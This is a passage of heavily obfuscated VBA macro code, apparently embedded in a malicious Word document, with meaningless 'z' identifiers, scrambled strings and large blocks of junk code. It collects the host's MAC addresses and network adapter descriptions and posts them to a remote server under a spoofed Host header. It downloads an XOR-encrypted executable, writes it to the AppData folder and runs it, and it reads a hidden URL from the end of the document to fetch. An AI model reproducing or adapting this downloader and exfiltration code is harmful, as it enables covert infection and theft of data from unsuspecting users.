zzzzzzzzzzzzzzzzz = Replace(.mAcaDDreSS, ":", "")
For zzzzzzzzzzzzzzzzzzzzzzzzz = 1 To 6
zzzzzzzzzzzz(513 + 16 + zzzzzzzzzzzzzzzzzzzzzzzzz - 1 + zzzzzzzzzzzzzzzz * 154) = CByte("&H" & Mid(zzzzzzzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzz * 2 - 1, 2))
Next

For zzzzzzzzzzzzzzzzzzzzzzzzz = 1 To zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(.Description)
zzzzzzzzzzzz(513 + 16 + 6 + zzzzzzzzzzzzzzzzzzzzzzzzz - 1 + zzzzzzzzzzzzzzzz * 154) = zzzzzzzzzzzzzzzzzzzzzzzzzzzzz(Mid(.Description, zzzzzzzzzzzzzzzzzzzzzzzzz, 1))
Next


End With
zzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzz + 1
If zzzzzzzzzzzzzzzz > 10 Then
Exit For
End If
Next
zzzzzzzzzzzz(512) = zzzzzzzzzzzzzzzz

Dim zzzzzzzzzzzzzzzzzz
Dim zzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzz((zzzzzzzzzzzzzzzzzzzz + &H100 - &H94) And &HFF)

Dim zzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("1LDKR_90L_TI2"))

For zzzzzzzzzzzzzzzzzzzzzzzzz = 0 To UBound(zzzzzzzzzzzz)
zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz) = zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz) Xor zzzzzzzzzzzzzzzzzzzz Xor zzzzzzzzzzzzzzzzzzzzzzzzzzzzz(Mid(zzzzzzzz, (zzzzzzzzzzzzzzzzzzzzzzzzz Mod zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzz)) + 1, 1)) Xor zzzzzzzzzzzzzzzzzzzzzzzzzzzzz(Mid(zzzzzzzzzzzzzzzzzzzzzzz, (zzzzzzzzzzzzzzzzzzzzzzzzz Mod zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzz)) + 1, 1))
Next

zzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzz & Right("00" & Hex(zzzzzzzzzzzz(0)), 2)
For zzzzzzzzzzzzzzzzzzzzzzzzz = 1 To UBound(zzzzzzzzzzzz)
zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz) = CByte(((zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz) Xor zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz - 1)) + &H100 - &H3 * &H20) And &HFF)
zzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzz & zzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz))
Next

zzzzzzzzzzzzzzzzzz = LCase(zzzzzzzzzzzzzzzzzz)


Dim zzzzzzzzzzzzzzzzzzz
Set zzzzzzzzzzzzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz("..sueptnWptnWiHt.iHtRqet51"))
zzzzzzzzzzzz(512) = zzzzzzzzzzzzzzzz
zzzzzzzzzzzz(1024 + 5 * 2) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzzzzzzzzz.Open zzzzzzzzzzzzzzzzzzzzz("SPOT"), zzzzzzz
zzzzzzzzzzzz(2) = zzzzzzzzzzzzzzzz * 2 + 2
zzzzzzzzzzzz(7) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(9) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(11) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzzzzzzzzz.SetRequestHeader zzzzzzzzzzzzzzzzzzzzz("pTtenCotn-ye"), zzzzzzzzzzzzzzzzzzzzz("ddcer-rfwwxniaipaplcto/-w-omulnoe")
zzzzzzzzzzzz(9) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(11) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(29) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(111) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(92) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(19) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(95) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(118) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(119) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(211) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(329) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(1111) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(922) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(195) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzz(952) = zzzzzzzzzzzzzzzz * 2 + 3
zzzzzzzzzzzz(1181) = zzzzzzzzzzzzzzzz + 5
zzzzzzzzzzzzzzzzzzz.SetRequestHeader zzzzzzzzzzzzzzzzzzzzz("sHot"), "update.microsoft.com"
zzzzzzzzzzzz(5) = zzzzzzzzzzzz(2) - 5
zzzzzzzzzzzz(8) = zzzzzzzzzzzz(4) - 5
zzzzzzzzzzzz(9) = zzzzzzzzzzzz(6) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(8) - 5
zzzzzzzzzzzz(11) = zzzzzzzzzzzz(10) - 5
zzzzzzzzzzzz(12) = zzzzzzzzzzzz(12) - 5
zzzzzzzzzzzz(15) = zzzzzzzzzzzz(14) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzzzzzzzzz.Send zzzzzzzzzzzzzzzzzzzzz("=tdaa") & zzzzzzzzzzzzzzzzzz & zzzzzzzzzzzzzzzzzzzzz("=o&cm") & zzzzzzzz
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
zzzzzzzzzzzz(16) = zzzzzzzzzzzz(15) - 5
zzzzzzzzzzzz(21) = zzzzzzzzzzzz(16) - 5
zzzzzzzzzzzz(55) = zzzzzzzzzzzz(18) - 5
zzzzzzzzzzzz(66) = zzzzzzzzzzzz(22) - 5
zzzzzzzzzzzz(88) = zzzzzzzzzzzz(29) - 5
zzzzzzzzzzzz(102) = zzzzzzzzzzzz(32) - 5
zzzzzzzzzzzz(104) = zzzzzzzzzzzz(299) - 5
End Sub
Public Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(): On Error Resume Next: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("gfefaasdgasbaefhwertyq345tedfgwq34taserd"))))))), zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("wer235rewdfaert2345r"))))))): End Sub
Public Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz()
On Error Resume Next
Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz() As Byte: Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz() As Byte: Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As Object: Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As Long: Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As Long: Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As String
Set zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("ttHpnRieWq.upetsttH.n5i.W1")))))))) 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Open zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("TGE")))), zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("f/b_o6ccmo9s84151r_nthn7cras1ds9md9cm_/41-920dpToale8._9ta3p8ti0dvr4860-3-0eAd3ot1xibhagofs.7s/_8368080cl1/5z?fr=5t3sy7nlfaUx2012556du/o7bebs62p8lu6te&lHie4211=1dpo/2up7/4d:culco.ew3eb-"))))))): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Send: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.ResponseBody
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = StrConv(SIGN_WORD_DOC_FILE, vbFromUnicode)
'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
                                                                                                                                                                    For zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 0 To UBound(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz)
Select Case zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz Mod 4: Case 0: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 3: Case 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = &H13: Case 2: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 94: Case 3: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 20: End Select
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) Xor zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
                                                                                                                                                                            Next
                                                                                                                                                            For zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 0 To UBound(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz)
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) Xor zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz Mod (UBound(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) + 1))
                                                                                                                                                                                                        Next
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("hlpitnoalAlSe.pci")))))).NameSpace(26).Self.path
If Right(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz, 1) <> "\" Then zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz & "\"
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz & zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("uiBk.exroetRnmree")))))

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
End Sub
Private Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As String, zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz() As Byte): On Error Resume Next: Open zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz For Binary Access Write As #1: Put #1, , zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz: Close #1
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz: End Sub
Public Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz()
Dim zzzzzzzzzzzz As String: Dim zzzzzzzzzzzzz() As Byte: Dim zzzzzzzzzzzzzz As Long: Dim zzzzzzzzzzzzzzz As Long: Dim zzzzzzzzzzzzzzzz As String: Dim zzzzzzzzzzzzzzzzz As Long
zzzzzzzzzzzz = ThisDocument.path
If Right(zzzzzzzzzzzz, 1) <> "\" Then zzzzzzzzzzzz = zzzzzzzzzzzz & "\"
zzzzzzzzzzzz = zzzzzzzzzzzz & ThisDocument.Name:     Open zzzzzzzzzzzz For Binary Access Read As #1: ReDim zzzzzzzzzzzzz(LOF(1) - 1): Get #1, , zzzzzzzzzzzzz: Close #1: zzzzzzzzzzzzzz = UBound(zzzzzzzzzzzzz)
If (zzzzzzzzzzzzz(zzzzzzzzzzzzzz) Xor &H81) <> &H94 Then Exit Sub
zzzzzzzzzzzzzzz = zzzzzzzzzzzzz(zzzzzzzzzzzzzz - 1) Xor &H81
For zzzzzzzzzzzzzzzzz = 0 To zzzzzzzzzzzzzzz - 1:  zzzzzzzzzzzzzzzz = Chr(zzzzzzzzzzzzz(zzzzzzzzzzzzzz - 2 - zzzzzzzzzzzzzzzzz) Xor &H81) & zzzzzzzzzzzzzzzz: Next
Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As Object
Set zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("ttHpnRieWq.upetsttH.n5i.W1")))))))): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Open zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzz("TGE")))), zzzzzzzzzzzzzzzz: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.Send
End Sub

Private Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz): On Error Resume Next: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz, 1: End Sub
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz() As Long: On Error Resume Next
Dim zzzzzzzzzzzz As String: Dim zzzzzzzzzzzzz As String: Dim zzzzzzzzzzzzzz As String
Dim zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz As Object
